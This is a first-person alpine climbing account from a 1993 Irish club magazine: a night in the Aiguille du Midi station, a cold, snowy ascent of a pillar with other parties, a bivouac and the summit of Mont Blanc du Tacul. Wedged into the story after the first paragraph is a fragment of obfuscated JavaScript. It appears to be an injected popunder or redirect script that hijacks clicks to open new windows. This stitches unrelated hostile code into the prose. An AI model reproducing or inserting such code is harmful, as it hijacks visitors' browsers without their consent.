By Paul Harrington

First appeared in the Irish Mountain Log, No 29 Winter 1993

The ticket office was closed and we'd missed the last telepherique from Chamonix up to the Aiguille du Midi. Our frustration mounted as we saw 'freaks' coming down carrying loads of people and then going up empty again. We tried to act the fool and jumped into one hoping the attendant wouldn't notice. No go. We offered money. Nope, no ticket no go. Unable to cope with the insanity of empty 'freaks' going up and us left stranded we knocked on the ticket office's closed door. Greeted by a friendly station manager we pleaded and he listened. We had our tickets and up we went to the disgust of one of the station workers.

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Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind

ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}()); Unofficially it is possible to crash-out in the Midi station. We had discovered that the previous year. So along with numerous others we marked our spot and settled down for the night. We were woken at some stage of the night by a posse of colourful guides bouncing up the stairs and quickly emptying the contents of their sacks onto the outside platform. Apparently some poor geezers had finished the Rebuffat route on the South face of the Midi some hours earlier and saw my partner 'Crazy Bill' pissing off the roof of one of the buildings. They seemed to take a fancy to the idea and proceeded to traverse towards the roof. So moving from the lovely rough granite of the Rebuffat route on to the steep shit-infested rubble gullies running down from the station they must have reckoned that this was not what climbing French style was about. So after lots of shouting and someone eventually hearing them up came the bouncing guides some hours later. There was a lowering of winches, lots of activity and eventually three cold and weary looking people were on the balcony. "Poor bastards, glad we weren't in their shoes" we whispered loudly. So little did we know!

A couple of hours walk saw us at the base of the Pillar along with three other parties. We found our slot and settled into the climbing. The easier pitches gave some tremendous rock climbing at a sustained though reasonable grade. The day was overcast and we moved steadily on with the eerie silence only being interrupted by the odd shout from the other parties on the route and a pair of climbers gracefully tiptoeing parallel to us on the route up to the Hidden Pillar. We came to the A2 aid pitch and soon made history of it. There we met a French pair who were abandoning the climb and abseiling back down. Why? It was too cold to climb. We proceeded to explain to them that if they came to Ireland and had a few weekends climbing at Fair Head that they would soon toughen up. "It's cold up there on the Head - makes good training for the Alps". Surprisingly they didn't seem to be interested and just continued rappelling!

We eventually came to the supposed end of the difficulties and that's when the climbing became hard. I was meant to be on a pitch of IV but the ledges where the route was supposed to go were full of snow. Being still in rock boots the 'Variation Irlandaise' was born. It desperately weaved its way around overhangs and other barriers in an effort to avoid those snow-covered ledges. Some aid climbing and traversing saw me in a precarious position trying to caterpillar my way on to a snow-covered ledge with the fists punched deep into the snow in

an attempt to get some extra purchase. The ghost of Gervasutti, now alive, vivacious and strongly distributed throughout the particles of the Pillar seemed to be laughing at us. "Oh, Rock Jocks, you don't think you are going to get through that easy, do you.....the Pillar is great, it has its price and it must be paid!" Bill was roaring about something or other. I guessed he'd a reasonable complaint but I didn't want to know just then. "Please, not now Bill" pierced the silence of the day and he duly remained quiet. I struggled onto the ledge and a short time later let him know I was belayed. "How the hell am I meant to get up there?" floated up through the mist. Of course he had the heavier rucksack and the traverse would be problematical to say the least. He ended up having to tie off one rope leaving the gear and come straight up. That rope then got stuck when we tried to pull it up. Wincing at the thought of having to spend the next hour trying to retrieve the rope and gear we saw the Danes appear around the corner and thus the answer to our problems. We asked about the possibility of them freeing our rope and getting our gear. The leader gazed up horrified at the prospecting pitch and replied "Youus don't mind eef I use it first". So up he came towards the belay and with his face getting closely acquainted with the snow-covered ledge he urgently inquired as to how we climbed this. We could now gladly return their favour by dropping him a loop of rope to pull on and he gratefully accepted. His seconded duly handed over the gear and we changed into our plastic boots.

We now saw ourselves situated in a huge and scary amphitheatre with two chimneys, one either side of a large rocky pinnacle. We'd been warned about this beforehand; "You'll see two ferocious looking chimneys and you'll think there's no way the route can go up there.....but take the left one, it's not near as bad as it looks". Highly impressed with our impending task we were glad of this advice. We then saw one of the Swiss climbers 'Big-Heart' up above. He was delighted to have just cracked the chimney and kept roaring down to us that he'd buy us a pint when we got back to Chamonix. Nice gesture.....lovely thought! We had to climb up a full pitch to a belay and then make a 20m abseil to the base of the chimney. Seeing ice in the back of the chimney, we put on our crampons and relished in the delights of a lovely ice/mixed pitch. Not too hard, about Scottish Grade III, but just lovely climbing.

After the chimney we breathed a sigh of relief to see that the angle had finally relented. We put away one rope, took in coils on the other and moved together with crampons and axe over much easier mixed ground. The day was continually darkening and our luck (and look too) soon ran out. White clouds became black clouds and as snow fell what black terrain remained soon became white terrain. Sheet lightning filled the sky overhead and powder avalanches were continually running down all the time. We became more anxious as each step became more and more uncertain. There was usually a runner between us but this was accompanied by an acute awareness that the jaws of the infamous supercouloir were lurching about in the depths below. The thought of stopping didn't hold much appeal either so we pushed on. Nightfall soon overtook us and forced us to stop. Bill traversed left and sniffed out a bivvy of sorts. He wasn't happy with it though, so he traversed further left and dug out a much better one. The Danes moved into our original one while the Swiss were determined to try and top out that night. They

bravely climbed an extra and much steeper full-length pitch in blackout conditions and finally gave up, deciding also that it was best to settle down for the night. When asked later why they tried to continue, 'Big-Heart' just said that sometimes it is better to continue while you can. He then added he was on the Croz spur the previous winter and got within less than 200m from the summit on the first day. It then took him the whole of the second day to complete the route.

The night was miserable and long, and there was little relent in the snow, rattle and spark in its early part. We ate what food was left. I spent most of the night playing mind games and trying to invent new ways of exercising in my Goretex bivvy bag. Even though Bill had only an open-topped plastic bag, he was stoically sitting there and seemed to be coping much better with the conditions. Apart from the fact that they breed them tough in the Kingdom of Cork, I reckoned that getting into a Goretex bivvy bag already wet from snow, and then zipping it almost completely closed, didn't give it much of an opportunity to work. We should have stopped earlier.

Dawn brought an overcast day though at least sparky and rattler had moved on and it had stopped snowing. Bill led off as I was still quite cold and didn't fully trust my ability to co-ordinate. We soon relaxed into the climbing and could fully appreciate the beauty and magnitude of our surrounding. A lot of snow had fallen and what would be normally five pitches of fairly easy rock climbing turned out to give some intricate and thoroughly enjoyable mixed climbing with crampons and axe. With the final pillar soon behind us, a short snow slope brought us onto the summit of a quiet and mellow Mt. Blanc de Tacul and time to dwell on the memories of a highly exhilarating climb. The sun momentarily came out and the Ghost of Gervasutti flashed us his knowing friendly smile.